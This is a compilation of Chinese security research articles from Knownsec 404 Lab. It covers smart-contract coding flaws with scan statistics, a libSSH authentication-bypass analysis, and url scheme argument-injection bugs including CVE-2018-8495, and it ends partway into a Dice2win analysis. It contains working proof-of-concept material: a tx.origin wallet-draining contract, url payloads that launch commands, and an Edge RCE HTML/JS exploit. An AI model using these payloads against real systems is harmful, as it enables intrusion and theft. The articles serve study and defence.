当合约跑在链上之后,链上的一切数据都难以监控,对于一个健康的智能合约来说,记录合理的event,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能。

fonction transferOwnership(address newOwner) onlyOwner public {
    ownner = newOwner;
    emit OwnershipTransferred(owner, newowner);
    }

7、回调函数

fallback机制是基于智能合约的特殊性而存在的。对于智能合约来说,任何函数的执行都是通过交易来完成的,但函数的执行过程中可能会遇到各种各样的问题,在交易失败或者交易结束后,就会执行fallback来最后处理结果和返回。

而在合约交易中,执行的每一个操作都会花费巨大的gas,如果gas不足,那么fallback函数也会执行失败。在evm中规定,交易失败时,只有2300gas用于执行fallback函数,而2300gas只允许执行一组字节码指令。一旦遇到极端情况,可能会因为gas不够用导致某种情况发生,导致未知的不可挽回的后果。

例如

function() payable { LogDepositReceived(msg.sender); }
function() public payable{ revert();};

8、Owner权限

避免owner权限过大

部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

function destroy() onlyOwner public onlyOwner{
    selfdestruct(owner);
  }

9、用户鉴权问题

合约中不要使用tx.origin做鉴权

tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。

下面是一个范例:

pragma solidity &gt;0.4.24;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;
    constructor() public {
        owner = msg.sender;
    }
    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

我们可以构造攻击合约

<span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">&gt;</span><span class="mf">0.4</span><span class="p">.</span><span class="mi">24</span><span class="p">;</span>
<span class="kr">interface</span> <span class="nx">TxUserWallet</span> <span class="p">{</span>
    <span class="kd">function</span> <span class="nx">transferTo</span><span class="p">(</span><span class="nx">address</span> <span class="nx">dest</span><span class="p">,</span> <span class="nx">uint</span> <span class="nx">amount</span><span class="p">)</span> <span class="nx">external</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">contract</span> <span class="nx">TxAttackWallet</span> <span class="p">{</span>
    <span class="nx">address</span> <span class="nx">owner</span><span class="p">;</span>
    <span class="kr">constructor</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
        <span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="kd">function</span><span class="p">()</span> <span class="nx">external</span> <span class="p">{</span>
        <span class="nx">TxUserWallet</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">).</span><span class="nx">transferTo</span><span class="p">(</span><span class="nx">owner</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">balance</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

当用户被欺骗调用攻击合约,则会直接绕过鉴权而转账成功,这里应使用msg.sender来做权限判断。

https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

10、条件竞争

在智能合约中,经常容易出现对交易顺序的依赖,如占山为王规则、或最后一个赢家规则。都是对交易顺序有比较强的依赖的设计规则,但以太坊本身的底层规则是基于矿工利益最大法则,在一定程度的极限情况下,只要攻击者付出足够的代价,他就可以一定程度控制交易的顺序。开发者应避免这个问题。

真实世界事件

智能合约游戏之殇——类 Fomo3D 攻击分析

三、漏洞影响范围

使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

基于Haotian平台智能合约扫描功能规则,我们对全网的公开的共47305个合约代码进行了扫描。

其中存在数据可靠问题的合约共2732个,
存在int型变量gas优化问题的合约共18285个,
存在string型变量gas优化问题的合约共194个,
存在Owner权限过大或合约后门的合约共1194个,
存在tx.origin 鉴权问题问题的合约共52个。

1、数据可靠性

截止2018年10月31日,我们发现了2732个存在数据可靠问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

2、gas消耗优化

截止2018年10月31日,我们发现了18285个存在int型变量gas优化问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

截止2018年10月31日,我们发现了194个存在string型变量gas优化问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

3、回调函数

截止2018年10月31日,我们发现了8321个存在复杂回调的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

4、Owner权限

截止2018年10月31日,我们发现了1194个存在Owner权限过大或合约后门,其中交易量最高的10个合约情况如下:

5、tx.origin 鉴权问题

截止2018年10月31日,我们发现了52个存在tx.origin 鉴权问题,其中交易量最高的10个合约情况如下:

四、修复方式

1、语法特性

在智能合约中小心整数除法的向下取整问题,可以通过先乘积为整数再做处理。

uint multiplier = 10;
uint x = (5 * multiplier) / 2;

2、数据私密问题

在处理一些隐私数据是尽量保留在服务端,可以通过hash-commit的方式来check变量值。

3、数据可靠性

尽量使合约内容不依赖时间顺序,如果需要外部变量影响,那尽量采用block.height和block.hash等这类难以控制的变量。

4、gas消耗优化

对于某些不涉及状态变化的函数和变量可以加constant来避免gas的消耗

5、合约用户

合约中,应尽量考虑交易目标为合约时的情况,避免因此产生的各种恶意利用。

6、日志记录

关键事件应有Event记录,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能。

fonction transferOwnership(address newOwner) onlyOwner public {
    ownner = newOwner;
    emit OwnershipTransferred(owner, newowner);
    }

7、回调函数

合约中定义Fallback函数,并使Fallback函数尽可能的简单。尽量避免在回调函数中调用transfer、call等涉及状态变化的操作,避免gas不够用直接导致未知情况发生。

8、Owner权限问题

部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

关于owner权限问题,应该遵循几个要求:

  1. 合约创造后,任何人不能改变合约规则,包括规则参数大小等
  2. 只允许owner在合约销毁前,从合约中提取余额
  3. owner不能在未限制的情况下操作其他用户的余额等

9、用户鉴权

在需要用户鉴权的时刻,尽量使用msg.sender作为目标方。 https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

10、条件竞争

在智能合约的设计中,避免对交易顺序的依赖,或者想办法强制要求交易顺序。

五、一些思考

在这一次整理合约编码隐患的过程中,对智能合约本身的特殊性进行了深入了解。和每个语言一样,智能合约有基于区块链这个大前提在,许多代码都出现了新的问题,如果开发者没有注意到这些隐患,一旦出现问题,这些隐患就可能导致更大的问题发生。

截止2018年10月31日,以太坊合约审计Checklist的所以问题完成了第一轮扫描,第一轮扫描针对以太坊公开的所有合约,其中超过80%的智能合约存在1个以上的安全隐患问题。在接下来的扫描报告中,我们会公开《以太坊合约审计Checklist》并使用HaoTian对以太坊公链上的所有智能合约进行基于opcode的扫描分析。


智能合约审计服务

针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

欢迎扫码咨询:区块链行业安全解决方案

黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

欢迎扫码咨询:


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/732/

原文阅读

libSSH 认证绕过漏洞(CVE-2018-10933)分析
Elfinx 2018-10-22 3:54 转存
作者:Hcamael@知道创宇404实验室
时间:2018年10月19日

最近出了一个libSSH认证绕过漏洞,刚开始时候看的感觉这洞可能挺厉害的,然后很快github上面就有PoC了,msf上很快也添加了exp,但是在使用的过程中发现无法getshell,对此,我进行了深入的分析研究。

前言

搞了0.7.5和0.7.6两个版本的源码:[1]

360发了一篇分析文章,有getshell的图:[2]

Python版本的PoC到Github上搜一下就有了:[3]

环境

libSSH-0.7.5源码下载地址: [4]

PS: 缺啥依赖自己装,没有当初的编译记录了,也懒得再来一遍

$ tar -xf libssh-0.7.5.tar.xz
$ cd libssh-0.7.5
$ mkdir build
$ cd build
$ cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug ..
$ make

主要用两个,一个是SSH服务端Demo:examples/ssh_server_fork, 一个是SSH客户端Demo:./examples/samplessh

服务端启动命令:sudo examples/ssh_server_fork -p 22221 127.0.0.1 -v

客户端使用命令:./examples/samplessh -p 22221 myuser@127.0.0.1

PS: 用户那随便填,我使用myuser,只是为了对比正常认证请求和bypass请求有啥区别,正常情况下SSH服务端是使用账户密码认证,账户是: myuser, 密码是: mypassword

修改../src/auth.cssh_userauth_xxxx函数,我修改的是ssh_userauth_password:

根据360的分析文章和我自己的研究结果,修改了上图箭头所示的三处地方,这样./examples/samplessh就会成为了验证该漏洞的PoC

PS: 修改完源码后记得再执行一次make

漏洞分析

根据服务端输出的调试信息,可以找到ssh_packet_process函数[5], 看到第1211行:

1121        r=cb-&gt;callbacks[type - cb-&gt;start](session,type,session-&gt;in_buffer,cb-&gt;user);

然后追踪到callbacks数组等于default_packet_handlers[6]

正常情况下,发送SSH2_MSG_USERAUTH_REQUEST请求,进入的是ssh_packet_userauth_request函数,而该漏洞的利用点就是,发送SSH2_MSG_USERAUTH_SUCCESS请求,从而进入ssh_packet_userauth_success函数

PS: 我们可以进入该数组中的任意函数,但是看了下其他函数,也没法getshell

正常情况下的执行路径是:

ssh_packet_userauth_request -&gt;
ssh_message_queue -&gt; 
ssh_execute_server_callbacks -&gt;
ssh_execute_server_request -&gt;
rc = session-&gt;server_callbacks-&gt;auth_password_function(session,
                        msg-&gt;auth_request.username, msg-&gt;auth_request.password,
                        session-&gt;server_callbacks-&gt;userdata);

找找这个函数,发现在服务端Demo中进行了设置:

// examples/ssh_server_fork.c
......
514    struct ssh_server_callbacks_struct server_cb = {
515        .userdata = &amp;sdata,
516        .auth_password_function = auth_password,
517        .channel_open_request_session_function = channel_open,
518    };
519    ssh_callbacks_init(&amp;server_cb);
520    ssh_callbacks_init(&amp;channel_cb);
521    ssh_set_server_callbacks(session, &amp;server_cb);
......

找到了auth_password函数,由服务端的编写者设置的:

// examples/ssh_server_fork.c

static int auth_password(ssh_session session, const char *user,
                         const char *pass, void *userdata) {
    struct session_data_struct *sdata = (struct session_data_struct *) userdata;
    (void) session;
    if (strcmp(user, USER) == 0 &amp;&amp; strcmp(pass, PASS) == 0) {
        sdata-&gt;authenticated = 1;
        return SSH_AUTH_SUCCESS;
    }
    sdata-&gt;auth_attempts++;
    return SSH_AUTH_DENIED;
}

认证成功后的路径:

ssh_message_auth_reply_success -&gt;
ssh_auth_reply_success:
994  session-&gt;session_state = SSH_SESSION_STATE_AUTHENTICATED;
995  session-&gt;flags |= SSH_SESSION_FLAG_AUTHENTICATED;

正常情况下,在SSH登录成功后,libSSH给session设置了认证成功的状态,SSH服务端编写的人给自己定义的标志位设置为1: sdata->authenticated = 1;

利用该漏洞绕过验证,服务端的流程:

ssh_packet_userauth_success:
  SSH_LOG(SSH_LOG_DEBUG, "Authentication successful");
  SSH_LOG(SSH_LOG_TRACE, "Received SSH_USERAUTH_SUCCESS");
  session-&gt;auth_state=SSH_AUTH_STATE_SUCCESS;
  session-&gt;session_state=SSH_SESSION_STATE_AUTHENTICATED;
  session-&gt;flags |= SSH_SESSION_FLAG_AUTHENTICATED;

可以成功的把libSSH的session设置为认证成功的状态,但是却不会进入auth_password函数,所以用户定义的标志位sdata->authenticated仍然等于0

我们在网上看到别人PoC验证成功的图,就是由ssh_packet_userauth_success函数输出的Authentication successful

研究不能getshell之谜

很多人复现该漏洞的时候肯定都发现了,服务端调试的信息都输出了认证成功,但是在getshell的时候却一直无法成功,根据上面的代码,发现session已经被设置成认证成功了,但是为啥还无法获取shell权限呢?对此,我又继续深入研究。

根据服务端的调试信息,我发现都能成功打开channel,但是在下一步pty-req channel_request我服务端显示的信息是被拒绝:

所以我继续跟踪代码执行的流程,跟踪到了ssh_execute_server_request函数:

166        case SSH_REQUEST_CHANNEL:
            channel = msg-&gt;channel_request.channel;
            if (msg-&gt;channel_request.type == SSH_CHANNEL_REQUEST_PTY &amp;&amp;
                ssh_callbacks_exists(channel-&gt;callbacks, channel_pty_request_function)) {
                rc = channel-&gt;callbacks-&gt;channel_pty_request_function(session, channel,
                        msg-&gt;channel_request.TERM,
                        msg-&gt;channel_request.width, msg-&gt;channel_request.height,
                        msg-&gt;channel_request.pxwidth, msg-&gt;channel_request.pxheight,
                        channel-&gt;callbacks-&gt;userdata);
                if (rc == 0) {
                    ssh_message_channel_request_reply_success(msg);
                } else {
                    ssh_message_reply_default(msg);
                }
                return SSH_OK;

接着发现ssh_callbacks_exists(channel->callbacks, channel_pty_request_function)检查失败,所以没有进入到该分支,导致请求被拒绝。

然后回溯channel->callbacks,回溯到了SSH服务端ssh_server_fork.c

530    ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
531    ssh_event_add_session(event, session);
532    n = 0;
533    while (sdata.authenticated == 0 || sdata.channel == NULL) {
534        /* If the user has used up all attempts, or if he hasn't been able to
535         * authenticate in 10 seconds (n * 100ms), disconnect. */
536        if (sdata.auth_attempts &gt;= 3 || n &gt;= 100) {
537            return;
538        }
539        if (ssh_event_dopoll(event, 100) == SSH_ERROR) {
540            fprintf(stderr, "%s\n", ssh_get_error(session));
541            return;
542        }
543        n++;
544    }
545    ssh_set_channel_callbacks(sdata.channel, &amp;channel_cb);

在libSSH中没有任何设置channel的回调函数的代码,只要在服务端中,由开发者手动设置,比如上面的545行的代码

然后我们又看到了sdata.authenticated,该变量再之前说了,该漏洞绕过的认证,只能把session设置为认证状态,却无法修改SSH服务端开发者定义的sdata.authenticated变量,所以该循环将不会跳出,直到n = 100的情况下,reutrn结束该函数。这就导致了我们无法getshell。

如果想getshell,有两种修改方式:

1.删除sdata.authenticated变量

533    while (sdata.channel == NULL) {
......
544    }

2.把channel添加回调函数的代码移到循环之前

530    ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
531    ssh_event_add_session(event, session);
532    ssh_set_channel_callbacks(sdata.channel, &amp;channel_cb);
533    n = 0;
534    while (sdata.authenticated == 0 || sdata.channel == NULL) {
......

在修改了服务端代码后,我也能成功getshell:

总结

之后我看了审计了一下ssh_execute_server_request函数的其他分支,发现SSH_REQUEST_CHANNEL分支下所有的分支:

SSH_CHANNEL_REQUEST_PTY
SSH_CHANNEL_REQUEST_SHELL
SSH_CHANNEL_REQUEST_X11
SSH_CHANNEL_REQUEST_WINDOW_CHANGE
SSH_CHANNEL_REQUEST_EXEC
SSH_CHANNEL_REQUEST_ENV
SSH_CHANNEL_REQUEST_SUBSYSTEM

都是调用channel的回调函数,所以在回调函数未注册的情况下,是无法成功getshell。

最后得出结论,CVE-2018-10933并没有想象中的危害大,而且网上说的几千个使用libssh的ssh目标,根据banner,我觉得都是libssh官方Demo中的ssh服务端,存在漏洞的版本的确可以绕过认证,但是却无法getshell。

引用

  1. https://0x48.pw/libssh/
  2. https://www.anquanke.com/post/id/162225
  3. https://github.com/search?utf8=%E2%9C%93&q=CVE-2018-10933&type=
  4. https://www.libssh.org/files/0.7/libssh-0.7.5.tar.xz
  5. https://0x48.pw/libssh/libssh_0.7.6/src/packet.c.html#ssh_packet_process
  6. https://0x48.pw/libssh/libssh_0.7.5/src/packet.c.html#default_packet_handlers

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/720/

原文阅读

从 CVE-2018-8495 看 PC 端 url scheme 的安全问题
Elfinx 2018-10-19 8:50 转存
作者:0x7F@知道创宇404实验室
时间:2018年10月18日

0x00 前言

本文受 CVE-2018-8495 漏洞的启发,以学习的目的,针对 PC 端 url scheme 的安全问题进行了分析研究。

说到 url scheme 的安全问题,这并不是一个新问题,早在 2008 年就有相关的研究和利用;如今 2018 年又陆续出现了安全问题,包括 1 月的 Electron 命令注入(CVE-2018-1000006) 以及 10 月的 Edge RCE(CVE-2018-8495),可见 url scheme 的安全问题值得去一探究竟。

url scheme 也称为 url protocolurl handler,本文使用 url scheme 这个名称。

0x01 url scheme是什么

常见的url scheme应用场景

在平时使用电脑的过程中,常常会发现点击某一个链接就会尝试启动本地的应用程序,比如点击类似 mailto://test@test.com,就会启动邮件客户端,点击 thunder://xxxxx,就会启动迅雷客户端;这就是 url scheme 的应用。除此之外,我们使用浏览器也会发现地址栏中一些不同的前缀,常用的有 http://https://ftp://file://,这同样是 url scheme 的应用场景。

各大操作系统开发商和浏览器开发商为了提高用户体验,丰富浏览器的功能,允许开发人员将 URI 与本地的应用程序进行关联,从而在用户使用浏览器时,可以通过点击某一链接即可启动应用程序;将这个功能简称为 url scheme。比如在 windows7 下使用 IE8 启动默认邮件客户端 outlook

正因为 url scheme 这个优秀的功能设计,各大操作系统开发商都对此进行了支持,无论是 PC 端 Windows, MAC, Linux,还是移动端 iOS, Android 都有良好的支持。本文针对 PC 端下的 url scheme 的安全问题进行分析,移动端下同样也有类似的问题,但利用方式不同,这里就不展开了。

url scheme工作流程

在了解 url scheme 的功能后,可以大致理解到 url scheme 的工作流程;应用程序在操作系统中注册 url scheme 项,当浏览器或其他支持 url 的应用访问 特定的 url scheme 时,从系统中匹配相对应的 url scheme 项,从而启动该应用程序;可见这是一个三方相互支持的功能。

正因如此,对于 url scheme 这个功能,在操作系统、浏览器(或其他支持 url 的应用)、应用程序这三个环节中,无论哪个环节出现了安全问题,或者是相互支持出现了问题,都将影响 url scheme 功能,最终给用户带来安全问题。

0x02 创建 url scheme

那么 url scheme 功能是如何在操作系统中注册的呢?不同的操作系统都有不同的实现方式,这里以 Windows7 为例进行演示说明。

在 Windows7 上,url scheme 被记录在注册表 HKEY_CLASSES_ROOT 下,如 mailto 的相关字段:

如果要创建一个新的 url scheme,直接在 HKEY_CLASSES_ROOT 添加即可,并在相应的字段中填入对应的值。创建的子项名即为 url scheme 功能名,在该子项下还包含两个项:DefaultIconshellDefaultIcon 包含该功能所使用的默认图标路径;在 shell 项下继续创建子项,例如: open,然后在 open 项下创建 command 子项,用于描述应用程序的路径以及参数。

举个例子,创建 calc 用于启动 C:\Windows\System32\calc.exe

HKEY_CLASSES_ROOT
    calc
    (Default) = "URL:Calc Protocol"
    URL Protocol = ""
    DefaultIcon
    (Default) = "C:\Windows\System32\calc.exe,1"
    shell
        open
            command
                (Default) = "C:\Windows\System32\calc.exe" "%1"

补充一点:实际上,在 Windows 中有两种添加 url scheme 的方式,以上是直接添加注册表的方式(Pluggable Protocol),还有一种是异步可插拔协议(Asynchronous Pluggable Protocol),注册的协议会记录在 HKEY_CLASSES_ROOT\PROTOCOLS\ 下。这里就不展开了,详情可以参考:https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)

0x03 安全隐患

对于 url scheme 功能,简单来讲就是「通过 url 可以启动某一个本地的应用程序」,这无疑大大提高了用户体验,但同时引入一些安全隐患,比如用户可以通过浏览器启动一个恶意程序,或者用户启动的应用程序具有特殊的功能可以被调用(如:删除文件、启动网络连接)。

除此之外,对于包含 url 的的相关应用,用户是往往作为一个使用者、阅读者,而不是编辑者;也就是说 url 可以被攻击者恶意构造,从而达到远程启动本地应用程序的效果。

那么在操作系统中,有哪些 url scheme 是可以被调用的呢?这里提供三个脚本用于导出三大 PC 系统下 url scheme

Windows: [https://images.seebug.org/archive/duh4win.vbs]
MAC: [https://images.seebug.org/archive/duh4mac.m]
Linux: [https://images.seebug.org/archive/duh4linux.sh]

(脚本来源于:https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf)

运行脚本程序,可以看到系统下有不少可以调用的 url scheme,其中包括操作系统默认支持的,如 httpftpmailto,也有第三方的应用程序,如 qqthunder;如果这些应用程序出现安全问题,比如支持删除文件、启动另一个程序等敏感操作,最终在 url scheme 的帮助下,都将远程触发的安全问题。

除了应用程序可能出现的安全问题,浏览器(或其他程序)在进行 url 解析并启动应用程序的过程也可以出现安全问题;并且这三方相互支持的过程中,仍然可能出现问题;无论是哪一个环节出现的安全问题,其危害最终都会在 url scheme 下被放大。

本文就这以上可能出现安全问题的环节进行分析,并举例说明。

0x04 操作系统的问题

在 2007 年,Heise Security 公开了由 「url scheme 导致远程命令执行」的漏洞,其出现在 Windows XP 下已安装 IE7 版本的系统中,影响范围包括所有支持 url scheme 的应用程序。

其构造的 PoC 如下:

mailto:test%../../../../windows/system32/calc.exe".cmd

在 Windows XP 下运行结果如下:

图片来源于:http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html

其造成漏洞的原因是由于微软通过安装适用于 Windows XP 的 IE7 改变了操作系统对 url 的处理,而应用程序直接将路径传递给操作系统用于启动,最终导致包含 字符的特殊链接导致启动任意程序。

在漏洞公开后,微软并没有发布修复补丁,并且认为这不是 Windows XP 的原因,随后各大应用程序开发人员对该漏洞进行了修复。当然,上层应用可以对输入的参数进行检查,但这里也可以认为是操作系统方面的问题,导致了 url scheme 远程命令执行。

0x05 浏览器的参数注入

2018 年,在 url scheme 的安全问题中,有两个问题是由于 Windows 下的 IE 和 Edge 参数注入引发的,其中一个是 Electron 自定义协议命令注入(CVE-2018-1000006),另一个是 Edge 远程代码执行(CVE-2018-8495)。

在 Windows 下 IE 和 Edge 对 url scheme 的处理方式有些不同,在浏览器接收到一个 url scheme 后,访问注册表查询对应的应用程序路径,随后进行 url 解码,然后调用 ShellExecute 函数簇,启动应用程序;正是因为 url 解码这一步造成了双引号闭合,从而引起了参数注入问题。示意图如下:

Electron 自定义协议命令注入

2018 年 1 月,Electron 发布了由自定义协议而导致命令注入的安全公告(CVE-2018-1000006),由于参数注入而引发的问题,构造的 PoC 如下:

chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc

使用 IE 浏览器访问该链接,最终生成的启动参数如下:

electron.exe "//?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc"

通过参数注入,调用 electron 中支持的 --gpu-launcher 参数,传入 cmd.exe 启动计算器,如下图:

图片来源于:https://xz.aliyun.com/t/1990,详情可以参考这个链接。

Edge 远程代码执行

2018 年 10 月,Edge 公开了远程代码执行的安全公告(CVE-2018-8495),同样也是利用参数注入,最终达到了远程代码执行的效果;整个利用过程颇具巧妙性,本文对此进行详细的分析。

首先说一点的是,在 Edge 中居然可以打开一些不合法的 url scheme(没有包含 URL Protocol 字段),比如 WSHFile 项:

当然在 Windows7 和 Windows8 下不能打开。

而恰恰 WSHFile 项指向了 wscript.exe,这个应用程序非常熟悉是Windows 内置的脚本解释器,那么可以利用 WSHFile 尝试去运行一个脚本;除此之外,上文提到 Edge 浏览器中存在参数注入的问题,那么是否有脚本可以接收参数并用于执行呢?

漏洞作者最终找到:

C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_
31bf3856ad364e35_10.0.17134.48_none_c60426fea249fc02\SyncAppvPublishingServer.vbs

该脚本文件支持接收参数,并且会将命令直接拼接到字符串中,然后通过 powershell 进行执行。

psCmd = "powershell.exe -NonInteractive -WindowStyle 
 Hidden-ExecutionPolicy RemoteSigned -Command &amp;{" &amp; syncCmd &amp; "}"

最终构造的 PoC 如下:

&lt;a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'&gt;test&lt;/a&gt;
&lt;script&gt;
window.onkeydown=e=&gt;{
    window.onkeydown=z={};
    q.click()
}
&lt;/script&gt;

以及执行后触发的效果:

目前 Windows10 上已经发布了修复补丁,Edge 已经不能调用这种不合法的 url scheme 了。

除此之外,404实验室的小伙伴在分析漏洞的过程中,也有一些额外的发现,如在注册表 HKEY_CLASSES_ROOT 还发现了和 WSHFile 类似的 url scheme,都指向 wscript.exe,同样也可以触发远程代码执行。包括:

1.wshfile
2.wsffile
3.vbsfile
4.vbefile
5.jsefile

还有在 C:\Windows\System32\ 下也存在 SyncAppvPublishingServer.vbs,同样也可以利用,并且比漏洞作者所提供的更加可靠。

除了 SyncAppvPublishingServer.vbs 这个文件, 在 C:\Windows\System32\Printing_Admin_Scripts\zh-CN 下的 pubprn.vbs 也同样可以触发代码执行。

补充一点,在 Windows7 系统下 chrome 与 Edge 有相同的特性——会打开一些不合法的 url scheme,但由于 chrome 不存在参数注入的问题,所以可以暂且认为是安全的。

0x06 应用程序的问题

2017 年 12 月,macOS 上的 helpViewer 应用程序被公开由 XSS 造成文件执行的漏洞(CVE-2017-2361),影响 macOS Sierra 10.12.1 以下的版本;该漏洞同样也利用了 url scheme,攻击者可以构造恶意页面,从而发动远程攻击。这是典型的由于应用程序所导致的 url scheme 安全问题。

漏洞详情可以参考:https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

其构造的 PoC 如下:

document.location = "help:///Applications/Safari.app/Contents/
Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..
%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/
Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";

在这个漏洞的利用过程中,可以发现操作系统和浏览器并没有出现问题,而是通过 url scheme 打开的应用程序出现了问题。通过对利用链的分析,可以了解到其中几个巧妙的点:

  1. 利用 url scheme 中的 help 协议打开应用程序 Safari.help
  2. 使用双重 url 编码绕过 helpViewer 对路径的检查,打开一个可以执行 JavaScript 的页面
  3. 使用 helpViewer 的内置协议 x-help-script 打开应用程序(PoC不包含)

0x07 总结

url scheme 功能的便捷性得力于操作系统、浏览器(或其他支持 url 的应用)以及应用程序三方的相互支持;要保证 url scheme 功能安全可靠,就必须牢牢把关这三方的安全。

除此之外,不同的操作系统对 url scheme 实现方式不同,不同的浏览器也有自己的特性,应用程序也各有各的处理方式,多种组合的结果,就有可能出现一些意料之外的安全问题。

最后感谢 404 实验室小伙伴 @LoRexxar' 与 @dawu 在分析过程中给我的帮助。


References:

  1. CVE-2018-8495分析: https://leucosite.com/Microsoft-Edge-RCE/
  2. Seebug.paper: https://paper.seebug.org/515/
  3. 先知: https://xz.aliyun.com/t/1990
  4. electronjs: https://electronjs.org/blog/protocol-handler-fix
  5. blackhat: https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf
  6. blackhat: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
  7. oreilly: https://www.oreilly.com/library/view/hacking-the-next/9780596806309/ch04.html
  8. Github: https://github.com/ChiChou/LookForSchemes
  9. MSRC.CVE-2018-8495: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8495
  10. Microsoft: https://docs.microsoft.com/en-us/windows/uwp/launch-resume/reserved-uri-scheme-names
  11. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767914(v=vs.85)
  12. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)
  13. h-online: http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html
  14. chromium: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

 

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/719/

原文阅读

智能合约游戏之殇——Dice2win安全分析
Elfinx 2018-10-19 2:42 转存
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年10月18日
系列文章:
《智能合约游戏之殇——类 Fomo3D 攻击分析》
《智能合约游戏之殇——God.Game 事件分析》
Dice2win是目前以太坊上很火爆的区块链博彩游戏,其最大的特点就是理论上的公平性保证,每天有超过1000以太币被人们投入到这个游戏中。

Dice2win官网

Dice2win合约代码

dice2win的游戏非常简单,就是一个赌概率的问题。

就相当于猜硬币的正面和反面,只要你猜对了,就可以赢得相应概率的收获。

这就是一个最简单的依赖公平性的游戏合约,只要“庄家”可以保证绝对的公正,那么这个游戏就成立。

2018年9月21日,我在《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》中提到了以太坊智能合约中存在一个弱随机数问题,里面提到dice2win的合约中实现了一个很好的随机数生成方案hash-commit-reveal

2018年10月12日,Zhiniang Peng from Qihoo 360 Core Security发表了《Not a fair game, Dice2win 公平性分析》,里面提到了关于Dice2win的3个安全问题。

在阅读文章的时候,我重新审视了Dice2win的合约代码,发现在上次的阅读中对Dice2win的执行流程有所误解,而且Dice2win也在后面的代码中迭代更新了Merkle proof功能,这里我们就重点聊聊这几个问题。

Dice2win安全性分析

选择中止攻击

让我们来回顾一下dice2win的代码

function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
        // Check that the bet is in 'clean' state.
        Bet storage bet = bets[commit];
        require (bet.gambler == address(0), "Bet should be in a 'clean' state.");

        // Validate input data ranges.
        uint amount = msg.value;
        require (modulo &gt; 1 &amp;&amp; modulo &lt;= MAX_MODULO, "Modulo should be within range.");
